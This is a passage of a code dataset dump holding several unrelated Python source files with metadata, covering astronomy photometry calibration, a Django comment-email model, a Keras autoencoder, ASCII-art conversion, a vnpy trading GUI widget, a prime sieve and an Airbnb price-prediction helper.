temp_apcor.append(float(parts[1]))\n temp_apcorerr.append(float(parts[2])) \n \n avg_mag,avg_magerr=weighted_avg(temp_apcor,temp_apcorerr)\n first_band_apcors.append(avg_mag)\n first_band_apcorerrs.append(avg_magerr)\n \n\n # second band\n for image_name in second_band_image_names:\n \n with open(\"all_meas_apcor.dat\") as f:\n \n # record data values for a given band+image combo \n # before averging\n temp_apcor=list()\n temp_apcorerr=list()\n \n for row in f:\n parts=row.split()\n \n \n if parts[0] == image_name:\n temp_apcor.append(float(parts[1]))\n temp_apcorerr.append(float(parts[2])) \n \n avg_mag,avg_magerr=weighted_avg(temp_apcor,temp_apcorerr)\n second_band_apcors.append(avg_mag)\n second_band_apcorerrs.append(avg_magerr)\n\n\n \n return [first_band_apcors,first_band_apcorerrs,second_band_apcors,second_band_apcorerrs]\n\n\n\ndef get_average_gain(sample_filename):\n\n\n # get average gain\n hdulist = pyfits.open(sample_filename+'.fits')\n GAINA=hdulist[0].header['ATODGNA']\n GAINB=hdulist[0].header['ATODGNB']\n GAINC=hdulist[0].header['ATODGNC']\n GAIND=hdulist[0].header['ATODGND']\n\n\n return np.average([GAINA,GAINB,GAINC,GAIND])\n\n\ndef calculate_zps():\n\n band1_zp=list()\n band2_zp=list()\n\n # get average again\n # only need one image since using the same detector\n avg_gain = get_average_gain(first_band_image_names[0])\n\n for image_name,curr_meas_apcor in zip(first_band_image_names,first_band_apcors):\n\n # get exposure time from FITS image \n hdulist = pyfits.open(image_name+'.fits')\n EXPTIME=hdulist[0].header['EXPTIME']\n\n zp_el=(band1_phot_zp-25)+2.5*np.log10(EXPTIME/avg_gain)-band1_inf_apcor+curr_meas_apcor\n #print band1_inf_apcor,curr_meas_apcor,zp_el\n\n band1_zp.append(zp_el)\n\n\n for image_name,curr_meas_apcor in zip(second_band_image_names,second_band_apcors):\n \n # get exposure time from FITS image \n hdulist = pyfits.open(image_name+'.fits')\n EXPTIME=hdulist[0].header['EXPTIME']\n\n zp_el=(band2_phot_zp-25)+2.5*np.log10(EXPTIME/avg_gain)-band2_inf_apcor+curr_meas_apcor\n \n band2_zp.append(zp_el)\n\n\n\n return [band1_zp,band2_zp]\n\n\n\n\n\n# Important input\nfilename=sys.argv[1]\n\nn_images=filelines(\"name.list\")\nsecond_band_index=3 # index in list where second filter appears \napcor_04inf_f160w=0.1944\n#apcor_04inf_f125w=0.1850\napcor_04inf_f110w=0.1765\nf160w_zp=24.5037\n#f125w_zp=25.1439\nf110w_zp=25.8829\n\nband1_phot_zp=f160w_zp\nband1_inf_apcor=apcor_04inf_f160w\nband2_phot_zp=f110w_zp\nband2_inf_apcor=apcor_04inf_f110w\n\n\n# get names of images per band\nfirst_band_image_names=list()\nsecond_band_image_names=list()\nrow_index=0\nwith open(\"name.list\") as f:\n for row in f:\n parts=row.split()\n\n if row_index < second_band_index: \n first_band_image_names.append(parts[0])\n else:\n second_band_image_names.append(parts[0])\n row_index+=1\n\n\n\n# average aperture correction per frame\nfirst_band_apcors,first_band_apcorerrs,second_band_apcors,second_band_apcorerrs = get_avg_apcors()\n\nband1_zp,band2_zp = calculate_zps()\n#print band1_zp,band2_zp\n#exit(0)\n\n\nnum_rows_per_object=int(n_images / 6) + 1\n\n\nmag_arr=np.zeros(n_images)\nmagerr_arr=np.zeros(n_images)\n\n# count number of stars in file\nnlines=filelines(filename)\nnstars=(nlines-3)/num_rows_per_object\n\nwith open(filename) as f:\n \n # Header\n head1=f.readline()\n head2=f.readline()\n head3=f.readline()\n\n outfile1=open(\"f160w.cal\",\"w\")\n outfile1.write(head1)\n outfile1.write(head2)\n outfile1.write(head3)\n outfile1.close()\n\n\n outfile2=open(\"f110w.cal\",\"w\")\n outfile2.write(head1)\n outfile2.write(head2)\n outfile2.write(head3)\n outfile2.close()\n\n \n star_num=1\n\n\n while star_num <= nstars:\n\n # put all data for a star into a long list\n all_parts=list()\n for i in range(num_rows_per_object):\n all_parts.append(f.readline().split())\n\n # flatten list\n parts=[item for sublist in all_parts for item in sublist]\n\n # loop through star values and record them\n part_num=0\n\n id_el=int(parts[part_num])\n part_num+=1\n x_el=float(parts[part_num])\n part_num+=1\n y_el=float(parts[part_num])\n part_num+=1\n \n \n p_mag_magerr_pairs=int( (len(parts)-3-2)/2. ) # exclude id,x,y and chi,sharp\n for col in range(0, p_mag_magerr_pairs): \n mag_arr[col]=float(parts[part_num])\n part_num+=1 \n magerr_arr[col]=float(parts[part_num])\n part_num+=1\n\n # now do chi, sharp\n chi_el=float(parts[part_num])\n part_num+=1 \n sharp_el=float(parts[part_num])\n part_num+=1\n\n\n # add zero-points to magnitudes\n row_index=0\n while row_index < n_images: \n if row_index < second_band_index:\n mag_arr[row_index] += band1_zp[row_index]\n else:\n mag_arr[row_index] += band2_zp[row_index-second_band_index]\n row_index+=1\n\n\n # convert to fluxes, get average mag\n avg_mag_band1,avg_magerr_band1 = get_avg_mag_magerr(mag_arr[0:second_band_index],magerr_arr[0:second_band_index])\n\n avg_mag_band2,avg_magerr_band2 = get_avg_mag_magerr(mag_arr[second_band_index:n_images],magerr_arr[second_band_index:n_images])\n\n\n # write to file\n outfile1=open(\"f160w.cal\",\"a\")\n id_string=str(id_el)\n x_string =(\"{0:.3f}\").format(x_el)\n y_string =(\"{0:.3f}\").format(y_el)\n mag1_string=(\"{0:.3f}\").format(avg_mag_band1)\n magerr1_string=(\"{0:.3f}\").format(avg_magerr_band1)\n fake_sky=\"100\"\n fake_nit=\"10\"\n chi_string=(\"{0:.2f}\").format(chi_el)\n sharp_string=(\"{0:.3f}\").format(sharp_el)\n\n outfile1.write(\" \"+id_string+\" \"+\\\n x_string+\" \"+y_string+\" \"+\\\n mag1_string+\" \"+magerr1_string+\" \"+\\\n fake_sky+\" \"+fake_nit+\" \"+\\\n chi_string+\" \"+sharp_string+\"\\n\")\n\n outfile1.close()\n\n\n outfile2=open(\"f110w.cal\",\"a\")\n id_string=str(id_el)\n x_string =(\"{0:.3f}\").format(x_el)\n y_string =(\"{0:.3f}\").format(y_el)\n mag2_string=(\"{0:.3f}\").format(avg_mag_band2)\n magerr2_string=(\"{0:.3f}\").format(avg_magerr_band2)\n \n outfile2.write(\" \"+id_string+\" \"+\\\n x_string+\" \"+y_string+\" \"+\\\n mag2_string+\" \"+magerr2_string+\" \"+\\\n fake_sky+\" \"+fake_nit+\" \"+\\\n chi_string+\" \"+sharp_string+\"\\n\")\n\n\n \n outfile2.close()\n\n\n\n\n\n \n star_num+=1\n\n # clear list array\n del all_parts\n # clear other single instance vars\n #del id_el, x_el, y_el, chi_el, sharp_el\n\n\n","sub_path":"calibrate_raw_files_ir.py","file_name":"calibrate_raw_files_ir.py","file_ext":"py","file_size_in_byte":10988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"116702421","text":"\"\"\"\n:copyright: (c)Copyright 2013, Intel Corporation All Rights Reserved.\nThe source code contained or described here in and all documents related\nto the source code (\"Material\") are owned by Intel Corporation or its\nsuppliers or licensors. Title to the Material remains with Intel Corporation\nor its suppliers and licensors. The Material contains trade secrets and\nproprietary and confidential information of Intel or its suppliers and\nlicensors.\n\nThe Material is protected by worldwide copyright and trade secret laws and\ntreaty provisions. No part of the Material may be used, copied, reproduced,\nmodified, published, uploaded, posted, transmitted, distributed, or disclosed\nin any way without Intel's prior express written permission.\n\nNo license under any patent, copyright, trade secret or other intellectual\nproperty right is granted to or conferred upon you by disclosure or delivery\nof the Materials, either expressly, by implication, inducement, estoppel or\notherwise. Any license under such intellectual property rights must be express\nand approved by Intel in writing.\n\n:organization: INTEL MCG PSI\n:summary: This file is the process of use case LIVE_SYSTEM_FILE_NAME_OPERATION\n:since: 02/27/2012\n:author: xzhao24\n\"\"\"\n\nimport time\nfrom acs_test_scripts.UseCase.UseCaseBase import UseCaseBase\nfrom UtilitiesFWK.Utilities import Global\n\n\nclass LiveSystemFileNameOperation(UseCaseBase):\n\n \"\"\"\n Class LiveSystemFileNameOperation.\n \"\"\"\n\n def __init__(self, tc_name, global_config):\n \"\"\"\n Constructor\n \"\"\"\n\n UseCaseBase.__init__(self, tc_name, global_config)\n\n # Get TC Parameters\n self._object_type = self._tc_parameters.get_param_value(\"OBJECT_TYPE\")\n self._previous_name = self._tc_parameters.get_param_value(\"PREVIOUS_NAME\")\n self._following_name = self._tc_parameters.get_param_value(\"FOLLOWING_NAME\")\n self._operation_type = self._tc_parameters.get_param_value(\"OPERATION_TYPE\")\n\n # Get UECmdLayer\n self._file_api = self._device.get_uecmd(\"File\")\n\n#------------------------------------------------------------------------------\n\n def run_test(self):\n \"\"\"\n Execute the test\n \"\"\"\n\n UseCaseBase.run_test(self)\n time.sleep(self._wait_btwn_cmd)\n self._logger.info(\"Rename or create file with multi-extension name...\")\n result = self._file_api.operate_file_name(self._object_type, self._previous_name,\n self._following_name, self._operation_type)\n\n return Global.SUCCESS, result\n","sub_path":"ACS_v.18.20.4_1/ACS/acs_test_scripts/UseCase/System/LIVE_SYSTEM_FILE_NAME_OPERATION.py","file_name":"LIVE_SYSTEM_FILE_NAME_OPERATION.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"571876352","text":"import threading\nfrom django.db import models\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.template.loader import render_to_string\n\n\n# 定义发送邮件多线程\nclass SendEmail_Thread(threading.Thread):\n def __init__(self,title,text,email,mail_to):\n self.title = title\n self.email = email\n self.text = text\n self.mail_to = mail_to\n threading.Thread.__init__(self)\n def run(self):\n send_mail( # 发送邮件\n self.title,\n '',\n self.email,\n [self.mail_to],\n html_message = self.text,\n )\n \n\n# 评论模块\nclass Comment(models.Model):\n content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE) # 一对多关联模型类\n object_id = models.PositiveIntegerField() # 保存评论对象id\n content_object = GenericForeignKey('content_type', 'object_id') # 保存评论对象\n\n text = models.TextField() # 评论内容\n comment_time = models.DateTimeField(auto_now_add=True) # 评论时间\n user = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='comments', on_delete=models.CASCADE) # 该评论用户对象\n\n root = models.ForeignKey('self', null=True, related_name='root_comment', on_delete=models.CASCADE) # 保存爷爷级评论对象(该字段为None表示顶级评论,如果是\"评论对象\"表示回复该评论)\n parent = models.ForeignKey('self', null=True, related_name='parent_comment', on_delete=models.CASCADE) # 保存父级评论对象(评论的谁)\n reply_to = models.ForeignKey(settings.AUTH_USER_MODEL, null=True, related_name='replies', on_delete=models.CASCADE) # 保存回复用户对象\n\n # 发送邮件通知\n def send_email(self):\n if self.parent is None: # 如果是顶级评论\n title='有人评论你的博客(%s)' % self.content_object.title\n mail_to=self.content_object.get_email()\n else: # 如果是回复评论\n title='有人回复你的评论' \n mail_to=self.reply_to.email\n if mail_to != '': # 判断邮箱是否不为空\n email=settings.EMAIL_HOST_USER\n context = {}\n context['text'] = self.text\n context['link'] = self.content_object.get_url()\n text = render_to_string('send_mail_html/send_mail.html',context) # 通过render_to_string()函数返回指定HTML模板中HTML代码字符串\n thread = SendEmail_Thread(title,text,email,mail_to) # 创建线程\n thread.start() # 启动线程\n \n def __str__(self):\n return self.text\n\n class Meta():\n ordering = ['comment_time'] # 按评论时间顺序排序\n","sub_path":"comment/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217403506","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport math\nimport time\nimport random\nrandom.seed(67)\n\nimport numpy as np\nnp.random.seed(67)\n\nimport pandas as pd\nfrom sklearn.metrics import log_loss\n\nfrom keras.layers import Input, Dense\nfrom keras.models import Model\n\ndef main():\n # load data\n df_train = pd.read_csv('data/train_data.csv')\n df_valid = pd.read_csv('data/valid_data.csv')\n df_test = pd.read_csv('data/test_data.csv')\n\n feature_cols = [f for f in list(df_train) if \"feature\" in f]\n target_col = df_train.columns[-1]\n\n X_train = df_train[feature_cols].values\n y_train = df_train[target_col].values\n\n X_valid = df_valid[feature_cols].values\n y_valid = df_valid[target_col].values\n\n X_test = df_test[feature_cols].values\n\n # autoencoding to reduce some of the noise\n input_vector = Input(shape=(21,))\n encoded = Dense(14, activation='relu')(input_vector)\n encoded = Dense(7, activation='relu')(encoded)\n\n decoded = Dense(7, activation='relu')(encoded)\n decoded = Dense(14, activation='relu')(decoded)\n decoded = Dense(21, activation='sigmoid')(decoded)\n\n autoencoder = Model(input_vector, decoded)\n\n autoencoder.compile(optimizer='adadelta', loss='binary_crossentropy')\n\n print(X_train.shape)\n print(X_valid.shape)\n print(X_test.shape)\n\n print(\"Fitting...\")\n autoencoder.fit(X_train, X_train,\n epochs=50,\n batch_size=128,\n shuffle=True,\n validation_data=(X_valid, X_valid))\n\n print(\"Predicting...\")\n X_denoised_train = autoencoder.predict(X_train)\n X_denoised_valid = autoencoder.predict(X_valid)\n X_denoised_test = autoencoder.predict(X_test)\n\n save_path = 'data/autoencoder_denoised.npz'\n\n np.savez(save_path, \\\n train=X_denoised_train, \\\n valid=X_denoised_valid, \\\n test=X_denoised_test)\n print('Saved: {}'.format(save_path))\n\nif __name__ == '__main__':\n main()\n","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641626025","text":"from PIL import Image\nimport argparse\n\n# 命令行输入参数处理\nparser = argparse.ArgumentParser()\n\n# 定义输入文件、输出文件、输出字符画的宽和高\nparser.add_argument('file') # 输入文件\nparser.add_argument('-o', '--output') # 输出文件,'-o'为参数简写,代表'--output'。\nparser.add_argument('--width', type=int, default=160) # 输出字符画宽\nparser.add_argument('--height', type=int, default=80) # 输出字符画高\n\n# 解析并获取参数\nargs = parser.parse_args()\n\n# 输入的图片文件路径\nIMG = args.file\n\n# 输出的字符画宽度\nWIDTH = args.width\n\n# 输出的字符画高度\nHEIGHT = args.height\n\n# 输出字符画的路径\nOUTPUT = args.output\n\nascii_char = list(\"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/\\|()1{}[]?-_+~<>i!lI;:,\\\"^`'. \")\n\n# 将256个灰度映射到70个字符上\ndef get_char(r, g, b, alpha=256):\n\n # 判断alpha值\n if alpha == 0:\n return ' '\n\n # 获取字符集的长度,这里为70\n length = len(ascii_char)\n\n # 将RGB值转换为灰度值gray,灰度值范围为0-255\n gray = int(0.2126*r + 0.7152*g + 0.0722*b)\n\n # 灰度值范围为0-255,而字符集只有70\n # 需要进行如下处理才能将灰度值映射到指定的字符上\n unit = (256.0+1)/length\n\n # 返回灰度值对应的字符\n return ascii_char[int(gray/unit)]\n\nif __name__ == '__main__':\n\n im = Image.open(IMG)\n im = im.resize((WIDTH, HEIGHT), Image.NEAREST)\n\n txt = \"\"\n\n for i in range(HEIGHT):\n for j in range(WIDTH):\n txt += get_char(*im.getpixel((j, i)))\n txt += '\\n'\n\n print(txt)\n\n # 字符画输出到文件\n if OUTPUT:\n with open(OUTPUT, 'w') as f:\n f.write(txt)\n else:\n with open('output.txt', 'w') as f:\n f.write(txt)\n\n\n\n\n","sub_path":"Pic_to_str.py","file_name":"Pic_to_str.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118229078","text":"# uncompyle6 version 3.2.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]\n# Embedded file name: lib.coginvasion.suit.DistributedCogStation\nfrom direct.directnotify.DirectNotifyGlobal import directNotify\nfrom direct.interval.IntervalGlobal import Sequence, Wait, Func\nfrom lib.coginvasion.minigame.DistributedGroupStation import DistributedGroupStation\nfrom CogStation import CogStation\nfrom lib.coginvasion.globals import CIGlobals\n\nclass DistributedCogStation(DistributedGroupStation, CogStation):\n notify = directNotify.newCategory('DistributedCogStation')\n\n def __init__(self, cr):\n try:\n self.DistributedCogStation_initialized\n return\n except:\n self.DistributedCogStation_initialized = 1\n\n DistributedGroupStation.__init__(self, cr)\n CogStation.__init__(self)\n\n def headOff(self, zone, hoodIndex):\n self.deleteStationAbortGui()\n hoodId = self.cr.playGame.hood.hoodId\n requestStatus = {'zoneId': zone, 'hoodId': hoodId, \n 'where': 'playground', \n 'avId': base.localAvatar.doId, \n 'loader': 'safeZoneLoader', \n 'shardId': None, \n 'wantLaffMeter': 1, \n 'how': 'teleportIn', \n 'world': CIGlobals.CogTropolis}\n self.cr.playGame.getPlace().fsm.request('teleportOut', [requestStatus])\n Sequence(Wait(5.0), Func(self.d_leaving)).start()\n return\n\n def generate(self):\n DistributedGroupStation.generate(self)\n self.generateStation()\n\n def announceGenerate(self):\n DistributedGroupStation.announceGenerate(self)\n self.reparentTo(render)\n\n def disable(self):\n self.reparentTo(hidden)\n DistributedGroupStation.disable(self)\n\n def delete(self):\n CogStation.delete(self)\n DistributedGroupStation.delete(self)","sub_path":"lib/coginvasion/suit/DistributedCogStation.py","file_name":"DistributedCogStation.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"428013635","text":"'''\nGiven an integer array of size n, find all elements that appear more than ⌊ n/3 ⌋ times.\n\nNote: The algorithm should run in linear time and in O(1) space.\n'''\nclass Solution:\n def majorityElement(self, nums):\n nums.sort()\n answer = []\n\n for i in range(len(nums)-int(len(nums)/3)):\n if nums[i] == nums[i + int(len(nums)/3)]:\n answer.append(nums[i])\n answer = list(set(answer))\n #print(answer)\n return answer\n\n\n\n\nnums1 = [0, 0, 0]\nfunction = Solution()\nfunction.majorityElement(nums1)","sub_path":"Array/problem229/majority_element.py","file_name":"majority_element.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"14640447","text":"# encoding: UTF-8\n\n'''\nCTA模块相关的GUI控制组件\n'''\n\nfrom vnpy.trader.uiBasicWidget import *\nfrom vnpy.event import Event\nfrom vnpy.trader.vtEvent import *\nfrom PyQt4 import QtGui\nfrom vnpy.trader.app.strategy.uiStrategyListWidget import *\nfrom vnpy.trader.app.strategy.language import text as stext\nfrom vnpy.trader.app.ctaStrategy.language import text\nfrom vnpy.trader.language import text as gtext\nfrom vnpy.trader.app.ctaStrategy.uiCtaInstanceListWidget import *\n########################################################################\nclass UICtaListWidget(UIStrategyListWidget):\n \"\"\"CTA策列列表\"\"\"\n\n #----------------------------------------------------------------------\n def __init__(self,strategtyEngine, eventEngine,strategyType, parent=None):\n \"\"\"Constructor\"\"\"\n super(UICtaListWidget, self).__init__(strategtyEngine, eventEngine,strategyType,parent)\n\n\n #----------------------------------------------------------------------\n def initUi(self):\n \"\"\"初始化界面\"\"\"\n self.setWindowTitle(gtext.STRATEGY)\n # 滚动区域,放置strategyManager\n self.scrollArea = QtWidgets.QScrollArea()\n self.scrollArea.setWidgetResizable(True)\n self.strategyTable = CtaStrategyListMonitor(self.strategyEngine.mainEngine,self.eventEngine,self.strategyEngine)\n self.scrollArea.setWidget(self.strategyTable)\n vbox = QtWidgets.QVBoxLayout()\n vbox.addWidget(self.scrollArea)\n self.setLayout(vbox)\n\n########################################################################\nclass CtaStrategyListMonitor(StrategyListMonitor):\n \"\"\"表格\"\"\"\n def __init__(self, mainEngine, eventEngine,strategyEngine=None,parent=None):\n \"\"\"Constructor\"\"\"\n super(CtaStrategyListMonitor, self).__init__(mainEngine,eventEngine,strategyEngine)\n\n\n #------------------------------------------------\n def initTable(self):\n super(CtaStrategyListMonitor, self).initTable()\n self.horizontalHeader().resizeSection(0,200)\n self.horizontalHeader().resizeSection(1,100)\n self.horizontalHeader().resizeSection(2,500)\n self.horizontalHeader().resizeSection(3,100)\n self.horizontalHeader().resizeSection(4,300)\n\n self.setColumnWidth(0,200)\n self.setColumnWidth(1,100)\n self.setColumnWidth(2,500)\n self.setColumnWidth(3,100)\n self.setColumnWidth(4,300)\n\n\n #-----------------------------------------------------------------------------------------\n def openStrategy(self,strategyClass):\n self.ctaInstanceListWidget = UICtaInstanceListWidget(self.strategyEngine, self.eventEngine,strategyClass)\n self.ctaInstanceListWidget.show()\n \n\n\n\n \n ","sub_path":"vnpy/trader/app/ctaStrategy/uiCtaListWidget.py","file_name":"uiCtaListWidget.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563802450","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport numpy.typing as npt\nfrom typing import List\n\n\ndef random_points_sphere(N: int) -> List[npt.NDArray[np.float32]]:\n u = np.random.rand(N)\n v = np.random.rand(N)\n theta = 2 * np.pi * u\n phi = np.arccos(2 * v - 1)\n z = np.cos(phi)\n tmp = np.sin(phi)\n x = tmp * np.sin(theta)\n y = tmp * np.cos(theta)\n return [x, y, z]\n\n\ndef draw_sphere_points(vector: List[npt.NDArray[np.float32]]):\n fig = plt.figure()\n ax = fig.add_subplot(projection='3d')\n ax.scatter(*vector, color='black', marker=\"o\", s=(72./fig.dpi)**2)\n plt.show()\n\n\nif __name__ == '__main__':\n vector = random_points_sphere(10000)\n draw_sphere_points(vector)\n","sub_path":"graphics/random_points_sampling_sphere.py","file_name":"random_points_sampling_sphere.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"530556321","text":"# https://open.kattis.com/problems/primesieve\nfrom typing import List\n\ndef solution(n: int, primes: List[int]) -> List[int]:\n def sieve(max_p):\n D = {}\n q = 2\n while q <= max_p:\n if q not in D:\n yield q\n D[q*q] = [q]\n else:\n for p in D[q]:\n D.setdefault(p+q,[]).append(p)\n del D[q]\n q += 1\n\n tot_primes = 0\n all_primes = []\n for p in sieve(n):\n tot_primes += 1\n return [tot_primes]\n\n # all_primes = list(sieve(n))\n # print(sys.getsizeof(all_primes))\n # return [len(all_primes)] + [1 if p in all_primes else 0 for p in primes]\n\n\ndef solution_2(n: int, primes: List[int]) -> List[int]:\n def is_not_prime(sieve, x):\n return sieve[int(x / 64)] & (1 << ((x >> 1) & 31))\n\n def mark_not_prime(sieve, x):\n sieve[int(x / 64)] |= (1 << ((x >> 1) & 31))\n\n sieve = [0 for _ in range(int(n / 64) + 1)]\n for x in range(3, n + 1, 2):\n if x * x <= n:\n if is_not_prime(sieve, x):\n continue\n else:\n k = x << 1\n for j in range(x * x, n, k):\n mark_not_prime(sieve, j)\n result = [sum([1 for x in range(1, n+1, 2) if not is_not_prime(sieve, x)])]\n for p in primes:\n if p == 2:\n result.append(1)\n elif p % 2 == 0 or p == 1:\n result.append(0)\n else:\n result.append(0 if is_not_prime(sieve, p) else 1)\n return result\n\n# def test_1():\n# assert solution(9973,[1,2,3,4,9972,9973]) == [1229,0,1,1,0,0,1]\n\ndef test_2():\n assert solution(10**8,[1,2,3,4,9972,9973]) == [5761455,0,1,1,0,0,1]\n\nif __name__ == '__main__':\n n, q = list(map(int, input().split()))\n numbers = []\n for _ in range(q):\n numbers.append(int(input()))\n result = solution(n, numbers)\n print('\\n'.join([str(n) for n in result]))","sub_path":"python/4_0/primesieve.py","file_name":"primesieve.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"102315892","text":"#!/usr/bin/python3\n\ndef sample():\n yield 'Is'\n yield 'Chicago'\n yield 'Not'\n yield 'Chicago?'\n\ndef combine(source, maxsize):\n parts = []\n size = 0\n for part in source:\n parts.append(part)\n size += len(part)\n if size > maxsize:\n yield ''.join(parts)\n parts = []\n size = 0\n yield ' '.join(parts)\n\nwith open('foo.text', 'w') as f:\n for part in combine(sample(), 32768):\n f.write(part)\n\n# ------------------------------------------#\n\n# 你需要查找星期中某一天最后出现的日期,比如星期五\nfrom datetime import datetime, timedelta\n\nweekdays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday',\n 'Friday', 'Saturday', 'Sunday']\n\n\ndef get_previous_byday(dayname, start_date=None):\n if start_date is None:\n start_date = datetime.today()\n day_num = start_date.weekday()\n day_num_target = weekdays.index(dayname)\n days_ago = (7 + day_num - day_num_target) % 7\n if days_ago == 0:\n days_ago = 7\n target_date = start_date - timedelta(days=days_ago)\n return target_date\n\n\nget_previous_byday('Friday')\n# 可选的 start_date 参数可以由另外一个 datetime 实例来提供。比如:\nget_previous_byday('Sunday', datetime(2012, 12, 21))\n\n# ------------------------------------------#\n# 打印当前月份每一天\nfrom datetime import datetime, date, timedelta\nimport calendar\n\ndef get_month_range(start_date=None):\n if start_date is None:\n start_date = date.today().replace(day=1)\n _, days_in_month = calendar.monthrange(start_date.year, start_date.month)\n end_date = start_date + timedelta(days=days_in_month)\n return (start_date, end_date)\n\n\na_day = timedelta(days=1)\nfirst_day, last_day = get_month_range()\nwhile first_day < last_day:\n print(first_day)\n first_day += a_day\n\n# ------------------------------------------#\n# 读取和写入二进制数据到文件中\nimport os.path\n\n\ndef read_into_buffer(filename):\n buf = bytearray(os.path.getsize(filename))\n with open(filename, 'rb') as f:\n f.readinto(buf)\n return buf\n\n\nwith open('sample.bin', 'wb') as f:\n f.write(b'Hello World')\n\nbuf = read_into_buffer('sample.bin')\nprint(buf)\nbuf[0:5] = b'Hello'\nprint(buf)\n\nwith open('newsample.bin', 'wb') as f:\n f.write(buf)\n\n# ------------------------------------------#\n# 获取文件信息\n\nimport os\n\nnames = [name for name in os.listdir('pac-1')\n if os.path.isfile(os.path.join('pac-1', name))]\n\ndirnames = [name for name in os.listdir('pac-1')\n if os.path.isdir(os.path.join('pac-1', name))]\n\nimport glob\npyfiles = glob.glob('pac-1/*.py')\n\nfrom fnmatch import fnmatch\npyfiles = [name for name in os.listdir('pac-1')\n if fnmatch(name, '*.py')]\n\nprint(names)\nprint(dirnames)\nprint(pyfiles)\n\n\nimport os.path\npyfiles2 = glob.glob('*.py')\nname_sz_date = [(name, os.path.getsize(name), os.path.getmtime(name))\n for name in pyfiles2]\nfor name, size, mtime in name_sz_date:\n print(name, size, mtime)\n\nfile_metadata = [(name, os.stat(name)) for name in pyfiles2]\nfor name, meta in file_metadata:\n print(name, meta.st_size, meta.st_mtime)\n\n# ------------------------------------------#\n# 抓取 xml 的数据\nfrom urllib.request import urlopen\nfrom xml.etree.ElementTree import parse\n\nu = urlopen('http://planet.python.org/rss20.xml')\ndoc = parse(u)\n\nfor item in doc.iterfind('channel/item'):\n title = item.findtext('title')\n date = item.findtext('pubDate')\n link = item.findtext('link')\n\n print(title)\n print(date)\n print(link)\n print()\n","sub_path":"python/snippet-1.py","file_name":"snippet-1.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"520781326","text":"import pandas as pd\nimport tensorflow as tf\nimport numpy as np\n\n# def model_loss_accuracy():\n# # Import the model to a new object\n# nn_imported = tf.keras.models.load_model('PricePredictionModel.h5')\n\n# # Import test data\n# X_test_scaled = np.genfromtxt('X_test_scaled.csv', delimiter=',')\n# y_test = np.genfromtxt('y_test.csv', delimiter=',')\n\n# # Evaluate the model using the test data\n# model_loss, model_accuracy = nn_imported.evaluate(X_test_scaled,y_test,verbose=2)\n# results = f\"Loss: {model_loss}, Accuracy: {model_accuracy}\"\n# return results\n\ndef predict(district,accommodates, bedrooms, baths, host_listings_count,security_deposit,cleaning_fee,reviews_per_month,number_of_reviews,guests_included):\n # Final Features:\n # 1. 'bathrooms',\n # 2. 'cleaning_fee',\n # 3. 'accommodates',\n # 4. 'host_listings_count',\n # 5. 'bedrooms',\n # 6. 'reviews_per_month',\n # 7. 'neightborhood_cleansed_District 19'\n # 8. 'security_deposit'\n # 9. 'number_of_reviews'\n # 10. 'guests_included'\n\n # Test opening saved model and run prediction\n import pickle\n filename = 'rfr_model_post_feat_sel_2.pickle'\n\n with open(filename, 'rb') as file:\n pickle_model = pickle.load(file)\n\n if (int(district)==19):\n neighbourhood_cleansed_District_19 = 1\n else:\n neighbourhood_cleansed_District_19 = 0\n\n if (host_listings_count==0):\n host_listings_count=1\n\n if (guests_included==0):\n guests_included=1\n # Aggregate test data and reshape\n X_test = [host_listings_count, accommodates, baths, bedrooms,security_deposit, cleaning_fee, guests_included,number_of_reviews, reviews_per_month,neighbourhood_cleansed_District_19]\n X_test = np.array(X_test)\n X_test = X_test.reshape(1,-1)\n # Make predictions using the test data\n result = pickle_model.predict(X_test)\n return int(round(result[0],0))\n\n# def addition(input1, input2):\n# result = input1 + input2\n# return result\n\n# def summarize_inputs(districts, property_type, room_type, accommodates, bedrooms, beds, baths):\n# # result = f\"Address:{address}\\nNeighborhood: {neighborhood}\\nProperty Type: {property_type}\\nRoom Type: {room_type}\\nBedrooms: {bedrooms}\\nBeds: {beds}\\nBaths: {baths}\"\n# result = pd.DataFrame( \n# data=[districts, property_type, room_type, bedrooms, beds, baths], \n# index=['Districts', 'Property Type', 'Room Type', 'Bedrooms', 'Beds', 'Baths'],\n# columns=[\"Inputs\"]\n# ) \n# return result\n","sub_path":"airbnb_price_predict.py","file_name":"airbnb_price_predict.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} 